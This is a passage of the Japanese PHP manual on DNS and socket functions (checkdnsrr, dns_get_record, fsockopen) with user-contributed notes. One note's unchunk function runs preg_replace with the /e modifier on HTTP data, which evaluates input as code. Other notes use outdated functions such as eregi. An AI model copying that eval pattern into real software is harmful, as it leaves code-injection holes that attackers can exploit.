レコードが見つかった場合に true、 何も見つからないかエラーが発生した場合に false を返します。

注意

注意:

この関数が実装される前の Windows での互換性を保つには、 » PEAR の » Net_DNS クラスをお試しください。

参考

  • dns_get_record() - ホスト名に関連する DNS リソースレコードを取得する
  • getmxrr() - 指定したインターネットホスト名に対応する MX レコードを取得する
  • gethostbyaddr() - 指定した IP アドレスに対応するインターネットホスト名を取得する
  • gethostbyname() - インターネットホスト名に対応するIPv4アドレスを取得する
  • gethostbynamel() - 指定したインターネットホスト名に対応するIPv4アドレスのリストを取得する
  • the named(8) manual page

User Contributed Notes

dobs 24-Jul-2018 09:04
$this->_buf - for bulk check cache

function ValidateEmail($email)
    {
        list($user, $domain) = explode('@', $email);

        if (!filter_var($email, FILTER_VALIDATE_EMAIL) !== FALSE)
            return 0;

        if (isset($this->_buf[$domain]))
            return $this->_buf[$domain];

        if (checkdnsrr($domain) === FALSE) {
            $this->_buf[$domain] = 0;
            return 0;
        }
        $this->_buf[$domain] = 1;

        return 1;
    }
Martin 30-Sep-2016 10:02
Important Warning:

You need to add a dot to the end of the host name to make a fully qualified domain name.

To see why, try executing the following pieces of code:

$d1="gmail.con";
$d2="gmail.con.";
$r1=checkdnsrr($d1, "MX");
$r2=checkdnsrr($d2, "MX");
var_dump($r1);
var_dump($r2);

You will see that without the dot it claims that the domain "gmail.con" is valid.

Note that if you time the "checkdnsrr()" calls you will also see it takes longer without the dot because it treats it as a relative domain and does several tries based on the host name it is running on.

NB: in case you're interested, being treated as a relative domain explains what is happening. If your host is "example.com" the relative domain will eventually resolve to "gmail.con.com." which can be looked up, hence it wrongly claims "gmail.con" exists
Krisztin Ferenczi 27-Oct-2013 11:12
criffoh at gmail dot com is right. Before you check domain, you must convert to ascii with idn_to_ascii function:
http://us2.php.net/manual/en/function.idn-to-ascii.php .

var_dump(checkdnsrr('nandu.cl', 'A')); // returns false
var_dump(checkdnsrr(idn_to_ascii('nandu.cl'), 'A')); // return true
criffoh at gmail dot com 18-Jul-2013 02:57
Is not possible validate domains with 'n' for my country.

In my country is possible to register domain using 'n' character. For example:

nandu.cl
http://nic.cl/cgi-bin/dom-CL?q=%F1andu

If I use this function to check DNS record, it return false, but the domain already exists:

var_dump(checkdnsrr('nandu.cl', 'A')); // returns false
Patrick 13-Dec-2004 07:53
This is a little code example that will validate an email address in two ways:
- first the general syntax of the string is checked with a regular expression
- then the domain substring (after the '@') is checked using the 'checkdnsrr' function

<?php

function validate_email($email){

   $exp = "^[a-z\'0-9]+([._-][a-z\'0-9]+)*@([a-z0-9]+([._-][a-z0-9]+))+$";

   if(eregi($exp,$email)){

      if(checkdnsrr(array_pop(explode("@",$email)),"MX")){
        return true;
      }else{
        return false;
      }

   }else{

      return false;

   }
}

?>


システムログへの接続を閉じる

  • ≪ checkdnsrr
  • dns_check_record ≫
  • PHP Manual
  • ネットワーク 関数
  • システムログへの接続を閉じる

closelog

(PHP 4, PHP 5, PHP 7, PHP 8)

closelog — システムログへの接続を閉じる

説明

closelog ( ) : bool

closelog() はシステムログへの書きこみに使用されているデスクプリタを閉じます。 closelog() の使用はオプションです。

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • syslog() - システムログのメッセージを生成する
  • openlog() - システムのロガーへの接続をオープンする

User Contributed Notes

There are no user contributed notes for this page.


checkdnsrr のエイリアス

  • ≪ closelog
  • dns_get_mx ≫
  • PHP Manual
  • ネットワーク 関数
  • checkdnsrr のエイリアス

dns_check_record

(PHP 5, PHP 7, PHP 8)

dns_check_record — checkdnsrr() のエイリアス

説明

この関数は次の関数のエイリアスです。 checkdnsrr().

User Contributed Notes

There are no user contributed notes for this page.


getmxrr のエイリアス

  • ≪ dns_check_record
  • dns_get_record ≫
  • PHP Manual
  • ネットワーク 関数
  • getmxrr のエイリアス

dns_get_mx

(PHP 5, PHP 7, PHP 8)

dns_get_mx — getmxrr() のエイリアス

説明

この関数は次の関数のエイリアスです。 getmxrr().

User Contributed Notes

There are no user contributed notes for this page.


ホスト名に関連する DNS リソースレコードを取得する

  • ≪ dns_get_mx
  • fsockopen ≫
  • PHP Manual
  • ネットワーク 関数
  • ホスト名に関連する DNS リソースレコードを取得する

dns_get_record

(PHP 5, PHP 7, PHP 8)

dns_get_record — ホスト名に関連する DNS リソースレコードを取得する

説明

dns_get_record ( string $hostname , int $type = DNS_ANY , array &$authoritative_name_servers = null , array &$additional_records = null , bool $raw = false ) : array|false

指定した hostname に関連づけられた DNS リソースレコードを取得します。

パラメータ

hostname

hostname は、正しい DNS ホスト名、すなわち "www.example.com" のようなものでなければなりません。 in-addr.arpa 形式の表記を用いた逆引き検索は可能ですが、 たいていは gethostbyaddr() を用いるほうが適当です。

注意:

DNS の標準規格により、メールアドレスは user.host 形式で渡されます （たとえば、hostmaster.example.com が hostmaster@example.com の代わりとなります）。 この値をしっかり確認し、mail() のような関数で 利用する前には必要なら変更を加えることを忘れないようにしてください。

type

デフォルトでは、dns_get_record() は hostname に関連するすべてのリソースレコードを検索します。 これを制限するには、オプションの type パラメータを指定してください。 type は以下のうちのいずれかです。 DNS_A, DNS_CNAME, DNS_HINFO, DNS_CAA, DNS_MX, DNS_NS, DNS_PTR, DNS_SOA, DNS_TXT, DNS_AAAA, DNS_SRV, DNS_NAPTR, DNS_A6, DNS_ALL または DNS_ANY。

注意:

プラットフォーム依存の libresolv のおかしな挙動のせいで、 DNS_ANY が常にすべてのレコードを返すとは 限りません。速度は遅くなりますが、DNS_ALL のほうがより確実にすべてのレコードを取得できます。

注意:

DNS_CAA は、Windows ではサポートされていません。

authoritative_name_servers

参照で渡し、 Authoritative Name Servers のリソースレコードが格納されます。

additional_records

参照で渡し、 Additional Records が格納されます。

raw

type は生のDNSのタイプIDとして解釈されます。 (DNS_* 定数は使えません) 戻り値には手動でパースが必要な data キーが含まれます。

返り値

この関数は、連想配列を要素にもつ配列を返します。 失敗した場合に false を返します。 それぞれの連想配列には 少なくとも 以下のキーが含まれています:

基本 DNS 属性
属性 | 意味
host | これ以降の関連するデータが参照する DNS 名。
class | dns_get_record() は Internet クラスのレコードのみを返すので、このパラメータは常に IN を返します。
type | レコード型を表す文字列。type の値に応じて、 結果の配列には追加の属性が含まれます。以下の表を参照ください。
ttl | このレコードの"有効期限 (Time To Live)"。レコードの本来の ttl と一致するとは 限りません。むしろ、 ネームサーバーへのクエリにかかった時間をそこから引いたものに一致します。

'type' に応じて連想配列に追加される項目
レコード型 | 追加項目
A | ip: ドット区切り 10 進数形式の IPv4 アドレス。
MX | pri: メールエクスチェンジャの優先度。 数字が小さいほど優先度が高い。 target: メールエクスチェンジャの FQDN 。 dns_get_mx() も参照ください。
CNAME | target: レコードのエイリアスの対象となっている場所の FQDN 。
NS | target: このホスト名に対する権威をもっているネームサーバーの FQDN 。
PTR | target: レコードが指している、DNS 名前空間内の場所
TXT | txt: このレコードに関連付けられている任意の文字列。
HINFO | cpu: このレコードが参照しているマシンの CPU を識別する IANA 番号。 os: このレコードが参照しているマシン上の OS を識別する IANA 番号。 これらの値の意味については、IANA の » Operating System Names を参照ください。
CAA | flags: 1バイトのビットフィールド; 現在はビット0だけが定義されており、'critical' を意味します。 他のビットは予約されており、無視されるべきです。 tag: CAA タグの名前 (alphanumeric な ASCII 文字列). value: CAA タグの値 (バイナリ文字列, サブフォーマットの使用可) 詳細は、» RFC 6844 を参照ください。
SOA | mname: リソースレコードの元となるマシンの FQDN 。 rname: このドメインの管理責任者の Email アドレス。 serial: ドメインのシリアル番号。 refresh: セカンダリネームサーバーがこのドメインのコピーを更新する際に参照するリフレッシュ間隔（秒単位）。 retry: リフレッシュが失敗した際に 2 度目のリフレッシュを試みるまでの間隔（秒単位） expire: セカンダリネームサーバーが、ゾーンデータの リフレッシュに失敗した場合にコピーのデータを破棄せず持ち続ける期間 （秒単位）。 minimum-ttl: クライアントが、 一度取得したデータを再リクエストすることなしに利用できる最小期間（秒単位）。 個々のリソースレコードによって上書きが可能。
AAAA | ipv6: IPv6 アドレス。
A6(PHP >= 5.1.0) | masklen: chain で指定された対象から引き継ぐビット長。 ipv6: chain とマージするためのこのレコードのアドレス。 chain: ipv6 データとマージするための親レコード。
SRV | pri: (Priority) 値が小さいものが優先されます。 weight: 同じ優先順位の targets からランダムに選択する際の重み。 target および port: リクエストされたサービスが存在するホスト名とポート。 詳細は » RFC 2782 を参照ください。
NAPTR | order および pref: 上の pri および weight と同じ。 flags, services, regex, および replacement: » RFC 2915 で定義されるパラメータ。

変更履歴

バージョン | 説明
7.0.16, 7.1.2 | CAA レコード型のサポートが追加されました。

例

例1 dns_get_record() の使用

<?php
$result = dns_get_record("php.net");
print_r($result);
?>

上の例の出力は、 たとえば以下のようになります。

Array
(
    [0] => Array
        (
            [host] => php.net
            [type] => MX
            [pri] => 5
            [target] => pair2.php.net
            [class] => IN
            [ttl] => 6765
        )

    [1] => Array
        (
            [host] => php.net
            [type] => A
            [ip] => 64.246.30.37
            [class] => IN
            [ttl] => 8125
        )

)

例2 dns_get_record() と DNS_ANY の使用

MX レコードが解決されれば、たいていはメールサーバーの IP アドレスを 取得したくなるものです。そのため、dns_get_record() は additional_records に関連するレコードを含めて返します。 また、authoritative_name_servers には 権威のあるネームサーバーのリストを含めて返します。

<?php
/* php.net の "ANY" レコードを要求し、
   それに付随する情報を格納した配列を
   作成する。
   $authns にはネームサーバーの一覧が、
   また $addtl には追加レコードが
   それぞれ格納される。 */
$result = dns_get_record("php.net", DNS_ANY, $authns, $addtl);
echo "Result = ";
print_r($result);
echo "Auth NS = ";
print_r($authns);
echo "Additional = ";
print_r($addtl);
?>

上の例の出力は、 たとえば以下のようになります。

Result = Array
(
    [0] => Array
        (
            [host] => php.net
            [type] => MX
            [pri] => 5
            [target] => pair2.php.net
            [class] => IN
            [ttl] => 6765
        )

    [1] => Array
        (
            [host] => php.net
            [type] => A
            [ip] => 64.246.30.37
            [class] => IN
            [ttl] => 8125
        )

)
Auth NS = Array
(
    [0] => Array
        (
            [host] => php.net
            [type] => NS
            [target] => remote1.easydns.com
            [class] => IN
            [ttl] => 10722
        )

    [1] => Array
        (
            [host] => php.net
            [type] => NS
            [target] => remote2.easydns.com
            [class] => IN
            [ttl] => 10722
        )

    [2] => Array
        (
            [host] => php.net
            [type] => NS
            [target] => ns1.easydns.com
            [class] => IN
            [ttl] => 10722
        )

    [3] => Array
        (
            [host] => php.net
            [type] => NS
            [target] => ns2.easydns.com
            [class] => IN
            [ttl] => 10722
        )

)
Additional = Array
(
    [0] => Array
        (
            [host] => pair2.php.net
            [type] => A
            [ip] => 216.92.131.5
            [class] => IN
            [ttl] => 6766
        )

    [1] => Array
        (
            [host] => remote1.easydns.com
            [type] => A
            [ip] => 64.39.29.212
            [class] => IN
            [ttl] => 100384
        )

    [2] => Array
        (
            [host] => remote2.easydns.com
            [type] => A
            [ip] => 212.100.224.80
            [class] => IN
            [ttl] => 81241
        )

    [3] => Array
        (
            [host] => ns1.easydns.com
            [type] => A
            [ip] => 216.220.40.243
            [class] => IN
            [ttl] => 81241
        )

    [4] => Array
        (
            [host] => ns2.easydns.com
            [type] => A
            [ip] => 216.220.40.244
            [class] => IN
            [ttl] => 81241
        )

)

注意

注意:

PHP 5.3.0 より前のバージョンでは、OS によってはこの関数が実装されていませんでした。 そのような環境との互換生を保つには、 » PEAR の » Net_DNS クラスを使いましょう。

参考

  • dns_get_mx() - getmxrr のエイリアス
  • dns_check_record() - checkdnsrr のエイリアス

User Contributed Notes

Emil 15-Mar-2018 11:17
Hi,
If I added domain to directadmin where is script with dns_get_record it gives me local values even if that domain is not really delegated yet to this server.. why?
ohcc at 163 dot com 05-Sep-2017 01:29
When I use DNS_ALL as the second parameter to invoke dns_get_record() on the OS of Windows, PHP emits a warning with the message "Warning: dns_get_record(): Type '251721779' not supported in blah.php on line blah", and DNS_ANY is always OKAY.
NaturalBornCamper 27-Jun-2017 06:45
You might have the same problem as me, where testing a non-existent domain will search for a subdomain relative to the domain you are executing from, for example:

// Test with working domain
var_dump( dns_get_record('google.com', DNS_A) );
/* works, returns
Array
(
    [host] => google.com
    [class] => IN
    [ttl] => 299
    [type] => A
    [ip] => 172.217.12.142
)
*/

// Test with invalid domain on our website (example.com)
var_dump( dns_get_record('invalidtestingname.com', DNS_A) );
/* Doesn't work, pretend it's a subdomain
Array
(
    [host] => invalidtestingname.com.example.com
    [class] => IN
    [ttl] => 299
    [type] => A
    [ip] => xxx.xxx.xxx.xxx
)
*/

If anyone has that problem, add a "dot" at the end of the domain name, for example, instead of
dns_get_record('invalidtestingname.com', DNS_A);
Do this:
dns_get_record('invalidtestingname.com.', DNS_A);
heinjan at eendrachtstraat dot nl 17-Oct-2016 09:23
Please note that Firewalls and anti malware software detects  (and depending on company policies even blocks) DNS_ANY requests.
In that case the usage of this function fails.
This is because DNS_ANY requests can be  exploited for creating "amplification (D)DOS attackes": You send 1 DNS_ANY request and get a huge amount of information back, thus even small requests can result into hugh network load.

I advise to use a more explicit name-request instead of using DNS_ANY.
tobias at herkula dot info 24-Mar-2015 10:10
This method has no error handling, it simply puts out "false" and it is impossible to check for NXDOMAIN, SERVFAIL, TIMEOUT or any other error...
PHP Joe 13-Aug-2013 11:30
Although this works very well for general DNS queries if you want to do a direct DNS query to a specified DNS server (rather than using OS resolution) try PHPDNS: http://www.purplepixie.org/phpdns/

You can do direct (TCP or UDP) low-level queries to a nameserver and recurse at will. Very useful for testing specific servers and also for walking through a recursive resolution.
karl at influ dot io 26-Apr-2013 01:38
There's a comment below from 7 years ago regarding BSD and MacOSX, I'd just like to follow up incase some people see that and don't think it'll work on MacOSX.

Software:

    System Software Overview:

      System Version: OS X 10.8.3 (12D78)
      Kernel Version: Darwin 12.3.0
      Boot Volume: Macintosh HD
      Boot Mode: Normal
      Computer Name: Karl's iMac
      User Name: Karl Kloppenborg (karl)
      Secure Virtual Memory: Enabled
      Time since boot: 10 days 20:24
--------------

# php -a
php > print_r(dns_get_record('google.com', DNS_MX));

Array
(
    [0] => Array
        (
            [host] => google.com
            [type] => MX
            [pri] => 10
            [target] => aspmx.l.google.com
            [class] => IN
            [ttl] => 749
        )

    [1] => Array
        (
            [host] => google.com
            [type] => MX
            [pri] => 30
            [target] => alt2.aspmx.l.google.com
            [class] => IN
            [ttl] => 749
        )

    [2] => Array
        (
            [host] => google.com
            [type] => MX
            [pri] => 50
            [target] => alt4.aspmx.l.google.com
            [class] => IN
            [ttl] => 749
        )

    [3] => Array
        (
            [host] => google.com
            [type] => MX
            [pri] => 40
            [target] => alt3.aspmx.l.google.com
            [class] => IN
            [ttl] => 749
        )

    [4] => Array
        (
            [host] => google.com
            [type] => MX
            [pri] => 20
            [target] => alt1.aspmx.l.google.com
            [class] => IN
            [ttl] => 749
        )

)
dylan at pow7 dot com 21-Feb-2009 11:29
Get more than one type at once like this:
<?php
$dnsr = dns_get_record('php.net', DNS_A + DNS_NS);
print_r($dnsr);
?>

Using DNS_ALL fails on some domains where DNS_ANY works. I noticed the function getting stuck on the DNS_PTR record, which caused it to return FALSE with this error:
PHP Warning:  dns_get_record(): res_nsend() failed in ....

This gets all records except DNS_PTR:
<?php
$dnsr = dns_get_record('php.net', DNS_ALL - DNS_PTR);
print_r($dnsr);
?>


インターネット接続もしくは Unix ドメインソケット接続をオープンする

  • ≪ dns_get_record
  • gethostbyaddr ≫
  • PHP Manual
  • ネットワーク 関数
  • インターネット接続もしくは Unix ドメインソケット接続をオープンする

fsockopen

(PHP 4, PHP 5, PHP 7, PHP 8)

fsockopen — インターネット接続もしくは Unix ドメインソケット接続をオープンする

説明

fsockopen ( string $hostname , int $port = -1 , int &$error_code = null , string &$error_message = null , float|null $timeout = null ) : resource|false

hostname で指定したリソースへのソケット接続を開始します。

サポートされるソケットトランスポートのリスト に記述されているように、PHP は Internet ドメインまたは Unix ドメインをサポートします。 サポートされるトランスポートのリストは、stream_get_transports() を使って取得することもできます。

ソケットはデフォルトでブロックモードで開かれます。 socket_set_blocking() を使用して、 非ブロックモードに切換えることができます。

stream_socket_client() 関数もこれと似ていますがより豊富なオプションを持っており、 非ブロック接続をしたりストリームコンテキストを提供したりする機能があります。

パラメータ

hostname

OpenSSL サポートが インストール されている場合、 hostname の前に ssl:// または tls:// を付加することにより、TCP/IP 経由でリモートホストに接続する際に SSL または TLS クライアント接続を使用することができます。

port

ポート番号。 unix:// のようにポートを使わないトランスポートの場合は、 -1 で無視してスキップさせることができます。

error_code

指定した場合は、システムコール connect() で発生したエラーのエラー番号が格納されます。

error_code は 0 なのに関数が false を返す場合、connect() をコールする前にエラーを発生したことを示します。 この場合、おそらくはソケットの初期化に原因があります。

error_message

エラーメッセージを表す文字列。

timeout

接続タイムアウト秒数。

注意:

ソケット経由でデータを読み書きする際のタイムアウトを設定する必要がある場合、 fsockopen() の timeout パラメータは、 ソケットに接続する間にだけ適用されるため、 socket_set_timeout() を使用してください。

返り値

fsockopen()は、ファイルポインタを返します。 このファイルポインタは、 (fgets(), fgetss(), fputs(), fclose(), feof() のような) 他のファイル関数で使用可能です。 失敗した場合は false を返します。

エラー / 例外

hostname が有効なドメインでない場合は E_WARNING をスローします。

変更履歴

バージョン | 説明
8.0.0 | timeout は、nullable になりました。

例

例1 fsockopen() の例

<?php
$fp = fsockopen("www.example.com", 80, $errno, $errstr, 30);
if (!$fp) {
    echo "$errstr ($errno)<br />\n";
} else {
    $out = "GET / HTTP/1.1\r\n";
    $out .= "Host: www.example.com\r\n";
    $out .= "Connection: Close\r\n\r\n";
    fwrite($fp, $out);
    while (!feof($fp)) {
        echo fgets($fp, 128);
    }
    fclose($fp);
}
?>

例2 UDP 接続の使用法

以下の例は、自分のマシンの UDP サービス "daytime" (ポート13) から日付と時間を取得する方法を示すものです。

<?php
$fp = fsockopen("udp://127.0.0.1", 13, $errno, $errstr);
if (!$fp) {
    echo "ERROR: $errno - $errstr<br />\n";
} else {
    fwrite($fp, "\n");
    echo fread($fp, 26);
    fclose($fp);
}
?>

注意

注意:

環境によっては Unix ドメインまたは オプションの接続タイムアウトが利用できないこともあります。

警告

UDPソケットは、リモートホストとの接続が確立されていない場合でも、 エラーを発生せずにオープンされたように見えることが時々あります。 このエラーは、そのソケットでデータを読み書きした際にのみ明らかになります。 この原因は、UDPが"コネクションレス"のプロトコルであり、 実際にデータを送受信する必要が生じるまで、 オペレーションシステムがソケット用のリンクを確立しようとしないためです。

注意: 数値で IPv6 アドレスを指定するときは、 (例 fe80::1) アドレスを角カッコでくくらなくてはなりません。たとえば、 tcp://[fe80::1]:80.

参考

  • pfsockopen() - 持続的な Internet または Unix ドメインソケット接続をオープンする
  • stream_socket_client() - インターネットドメインまたは Unix ドメインのソケット接続を開く
  • stream_set_blocking() - ストリームのブロックモードを有効にする / 解除する
  • stream_set_timeout() - ストリームにタイムアウトを設定する
  • fgets() - ファイルポインタから 1 行取得する
  • fgetss() - ファイルポインタから 1 行取り出し、HTML タグを取り除く
  • fwrite() - バイナリセーフなファイル書き込み処理
  • fclose() - オープンされたファイルポインタをクローズする
  • feof() - ファイルポインタがファイル終端に達しているかどうか調べる
  • socket_connect() - ソケット上の接続を初期化する
  • Curl 拡張モジュール

User Contributed Notes

GreenReaper 02-Aug-2019 11:49
PHP (or OpenSSL) may not always choose to use e.g. TLS 1.2, but you can force it to with tlsv1.2://
https://docs.php.net/manual/en/migration56.openssl.php#migration56.openssl.crypto-method

This was a great help to me, given Twitter's recent API changes to require TLS 1.2+.
Goce Dokoski 25-Sep-2018 07:45
Trying to fsockopen an ssl:// connection, but it was hanging for a long time, ignoring timeout parameter, and eventually returning false, without an error message.

Turns out (at least) on Windows it validates certificates and doesn't have a valid certificate store.

This worked for me:

- download Mozilla's certificate store from https://curl.haxx.se/ca/cacert.pem
- copy it inside php installation (for example: c:\php)
- and set it up in php.ini

              openssl.cafile="c:\php\cacert.pem"

My system: Apache/2.4.29 (Win64) OpenSSL/1.0.2n PHP/5.6.38
perrya at shoalhaven dot nsw dot gov dot au 16-Feb-2016 12:48
on my FreeBSD vm, with Joomla, I was getting the error

fsockopen(): unable to connect to ssl://localhost:443 (Unknown error)

when using a contact form and also the module updating process.

After reading other notes on here, regarding certificate validation, I installed the port ca_root_nss

(Root certificates from certificate authorities included in the Mozilla
NSS library and thus in Firefox and Thunderbird.)

Now it works
p14nd4 18-Jul-2014 09:30
It appears that in PHP 5.6.0 (at least the version in Debian jessie, with openssl 1.0.1h-3), this function *is* now validating SSL certificates (in a variety of ways). First, it appears to fail for untrusted certificates (i.e. no matching CA trusted locally), and secondly, it appears to fail for mismatched hostnames in the request and certificate.

---------
$ echo "<?php echo fsockopen(\"ssl://localhost\", 993); ?>" | php -a
Interactive mode enabled

PHP Warning:  fsockopen(): Peer certificate CN=`my.test.server' did not match expected CN=`localhost' in - on line 1
PHP Warning:  fsockopen(): Failed to enable crypto in - on line 1
PHP Warning:  fsockopen(): unable to connect to ssl://localhost:993 (Unknown error) in - on line 1
----------
$ echo "<?php echo fsockopen(\"ssl://my.test.server\", 993); ?>" | php -a
Interactive mode enabled

PHP Warning:  fsockopen(): SSL operation failed with code 1. OpenSSL Error messages:
error:14090086:SSL routines:SSL3_GET_SERVER_CERTIFICATE:certificate verify failed in - on line 1
PHP Warning:  fsockopen(): Failed to enable crypto in - on line 1
PHP Warning:  fsockopen(): unable to connect to ssl://my.test.server:993 (Unknown error) in - on line 1
---------
#installed CA locally
---------
$ echo "<?php echo fsockopen(\"ssl://my.test.server\", 993); ?>" | php -a
Interactive mode enabled

Resource id #1
biguenique at yahoo dot ca 19-Mar-2014 04:29
Did you know that fsockopen() DOES NOT validate SSL certificates whatsoever? For the sake of World's overall security level, I guess it would be a very positive idea to add a BIG WARNING notice on the manual page!

Citing the extensive study  titled "The Most Dangerous Code in the World: Validating SSL Certi?cates in Non-Browser Software" published in 2012 (google it if they removed the link) on page 5:

"PHP provides several methods for establishing SSL connections. For example, fsockopen, which opens a raw socket to the remote server, can be used to connect to SSL servers by putting "ssl://" in the URL. Even though fsockopen does not perform any certificate checks whatsoever, PHP application developers routinely use it for SSL connection establishment (see Section 9)."

For proper certificate validation with some level of ease, you can always move to cURL, but be careful:

"PHP also provides a cURL binding, which uses cURL's default settings to establish SSL connections with proper certificate validation. As we show in Sections 7.1, 7.2, and 7.3, application developers often set cURL options incorrectly, overriding the defaults and breaking certificate validation."

For more detailed insights, try out the following code:
<?php readfile("http".str_replace('+', '.', implode('/', array(":", null, "www+cs+utexas+edu", "~shmat", "shmat_ccs12.pdf")))); ?>
kexianbin at diyism dot com 28-Dec-2011 08:15
My recursive unchunk function:

<?php
function unchunk($result)
         {return preg_replace('/([0-9A-F]+)\r\n(.*)/sie',
                              '($cnt=@base_convert("\1", 16, 10))
                               ?substr(($str=@strtr(\'\2\', array(\'\"\'=>\'"\', \'\\\\0\'=>"\x00"))), 0, $cnt).unchunk(substr($str, $cnt+2))
                               :""
                              ',
                              $result
                             );
         }
?>
Jeremy Saintot 14-Jan-2011 04:24
Here is my fsockopen-based HTTP request fonction (GET and POST) :

<?php
function http_request(
    $verb = 'GET',             /* HTTP Request Method (GET and POST supported) */
    $ip,                       /* Target IP/Hostname */
    $port = 80,                /* Target TCP port */
    $uri = '/',                /* Target URI */
    $getdata = array(),        /* HTTP GET Data ie. array('var1' => 'val1', 'var2' => 'val2') */
    $postdata = array(),       /* HTTP POST Data ie. array('var1' => 'val1', 'var2' => 'val2') */
    $cookie = array(),         /* HTTP Cookie Data ie. array('var1' => 'val1', 'var2' => 'val2') */
    $custom_headers = array(), /* Custom HTTP headers ie. array('Referer: http://localhost/ */
    $timeout = 1,           /* Socket timeout in seconds */
    $req_hdr = false,          /* Include HTTP request headers */
    $res_hdr = false           /* Include HTTP response headers */
    )
{
    $ret = '';
    $verb = strtoupper($verb);
    $cookie_str = '';
    $getdata_str = count($getdata) ? '?' : '';
    $postdata_str = '';

    foreach ($getdata as $k => $v)
                $getdata_str .= urlencode($k) .'='. urlencode($v) . '&';

    foreach ($postdata as $k => $v)
        $postdata_str .= urlencode($k) .'='. urlencode($v) .'&';

    foreach ($cookie as $k => $v)
        $cookie_str .= urlencode($k) .'='. urlencode($v) .'; ';

    $crlf = "\r\n";
    $req = $verb .' '. $uri . $getdata_str .' HTTP/1.1' . $crlf;
    $req .= 'Host: '. $ip . $crlf;
    $req .= 'User-Agent: Mozilla/5.0 Firefox/3.6.12' . $crlf;
    $req .= 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' . $crlf;
    $req .= 'Accept-Language: en-us,en;q=0.5' . $crlf;
    $req .= 'Accept-Encoding: deflate' . $crlf;
    $req .= 'Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7' . $crlf;

    foreach ($custom_headers as $k => $v)
        $req .= $k .': '. $v . $crlf;

    if (!empty($cookie_str))
        $req .= 'Cookie: '. substr($cookie_str, 0, -2) . $crlf;

    if ($verb == 'POST' && !empty($postdata_str))
    {
        $postdata_str = substr($postdata_str, 0, -1);
        $req .= 'Content-Type: application/x-www-form-urlencoded' . $crlf;
        $req .= 'Content-Length: '. strlen($postdata_str) . $crlf . $crlf;
        $req .= $postdata_str;
    }
    else $req .= $crlf;

    if ($req_hdr)
        $ret .= $req;

    if (($fp = @fsockopen($ip, $port, $errno, $errstr)) == false)
        return "Error $errno: $errstr\n";

    stream_set_timeout($fp, 0, $timeout * 1000);

    fputs($fp, $req);
    while ($line = fgets($fp)) $ret .= $line;
    fclose($fp);

    if (!$res_hdr)
        $ret = substr($ret, strpos($ret, "\r\n\r\n") + 4);

    return $ret;
}
?>

Example usages :

<?php
echo http_request('GET', 'www.php.net');
echo http_request('GET', 'www.php.net', 80, '/manual/en/function.phpinfo.php');
echo http_request('GET', 'www.php.net', 80, '/manual/en/function.phpinfo.php', array('get1' => 'v_get1'), array(), array('cookie1' => 'v_cookie1'), array('X-My-Header' => 'My Value'));
?>

[EDIT BY danbrown AT php DOT net: Contains a bugfix provided by "Wrinkled Cheese" on 24-JUN-2011 to fix the $getdata foreach() loop; another bugfix provided by Suat Secmen on 12-JAN-2012 to fix a $timeout = 1000, then stream_set_timeout($fp, 0, $timeout * 1000), equaling 1,000 seconds.]
gratcypalma at gmail dot com 30-Aug-2010 08:56
<?php
/*
this script i used for remote my PvPGN Server, to check email user.
not good, but it work.
*/

set_time_limit(0);
$host   = 'host';
$port   = 'port';
$user   = 'user';
$pass   = 'pass';
$socket = fsockopen($host, $port) or die('Could not connect to: '.$host);
$userdota = "palma";
if($socket)
{
    sendcmd("\r",$socket);
    $status = "open"; // set status open

    while($status=="open") //while we are connected to the server
      {
             $line = @fgets($socket, 1024) ;
              /////////////login////////////////
            if (strstr($line, "there is no guest account"))
              {
                 sendcmd($user."\r\n",$socket);
                 sendcmd($pass."\r\n",$socket);
              }
            //////////////send command ////////////////////
            if (strstr($line,"Your unique name: ".$user))
              {  sendcmd("/finger ".$userdota."\r\n",$socket);
              }

            //////////////get email////////////////////
            if (strstr($line,"email:")) // if respone server write "email:"
              {
                 $pattern = '/email:(.*) ,/';
                 preg_match($pattern, $line, $matches);
                 fclose($socket);
                 $status="close"; // status close
                 $matches=str_replace(" ","", $matches);
                 $matches=str_replace(",is_operator:0,is_admin:0,","", $matches);
                 $matches=str_replace("email:","", $matches);
                 print $matches[0];
                 $email=$matches[0];
              }
            if (strstr($line,"ERROR: Invalid user.")) // if respone server write "ERROR: Invalid user."
              {

                 fclose($socket);
                 $status="close";
                 $error ="Invalid User";    // error message
              }

            ////////////login failed //////////////////////////
            if (strstr($line, "Login failed")) // if respone server write "Login failed"
              {
                 $error = "Login Failed";    // error message
                 fclose($socket);
                 $status="close";
              }

            flush(); // close

      }

}
function sendcmd($cmd,$socket) // send command function
{
  fputs($socket, $cmd, strlen($cmd));
}
?>
nytro_rst at yahoo dot com 12-Jan-2010 02:26
A simple proxy list checker. You can check a list ip:port if that port is opened on that IP.

<?php

$fisier = file_get_contents('proxy_list.txt'); // Read the file with the proxy list
$linii = explode("\n", $fisier); // Get each proxy
$fisier = fopen("bune.txt", "a"); // Here we will write the good ones

for($i = 0; $i < count($linii) - 1; $i++) test($linii[$i]); // Test each proxy

function test($proxy)
{
  global $fisier;
  $splited = explode(':',$proxy); // Separate IP and port
  if($con = @fsockopen($splited[0], $splited[1], $eroare, $eroare_str, 3))
  {
    fwrite($fisier, $proxy . "\n"); // Check if we can connect to that IP and port
    print $proxy . '<br>'; // Show the proxy
    fclose($con); // Close the socket handle
  }
}

fclose($fisier); // Close the file

?>
walter 30-Jul-2009 08:05
For some reason the default FreeBSD 7.0 port (jailed environment) breaks fsockopen() on SSL URLs, returning a constant stream of nothing!  In my case this resulted in php-cgi bringing down lighttpd completely, in rapid time!  Avoid FreeBSD/jails/fsockopen + SSL.  Use curl_init() instead.
ghzero at ghzero dot de 22-Jun-2009 05:20
note:
the default protocol - if not given - seems to be tcp://
oliver dot christen at camptocamp dot com 21-Jun-2009 03:17
When downloading large files, it is not really efficient to put the whole server answer in memory before parsing the data to remove the header parts. Here is a simple way to do it while writing the data as it arrive:

<?php

// $socket is a valid fsockopen handle

$out = '';
$headerendfound = false;
$fp = fopen($fileTarget, 'w');
$buffer = '';
while (!feof($socket)) {
    $out = fgets ($socket,16384);
    if ($headerendfound) {
        fwrite($fp, $out);
        print '.';
    }
    if (!$headerendfound) {
        $buffer .= $out;
        print "searching for header\n";
        $headerend = strpos($buffer, "\r\n\r\n");
        if ($headerend !== false) {
            $headerendfound = true;
            fwrite($fp, substr($buffer, $headerend+4));
            $buffer = '';
        }
    }
}
fclose($fp);
fclose($socket);

?>
mikey at badpenguins dot com 06-Sep-2008 09:00
My $0.02 on handling chunked transfer encoded output...  Has rudimentary error handling.

<?php
//
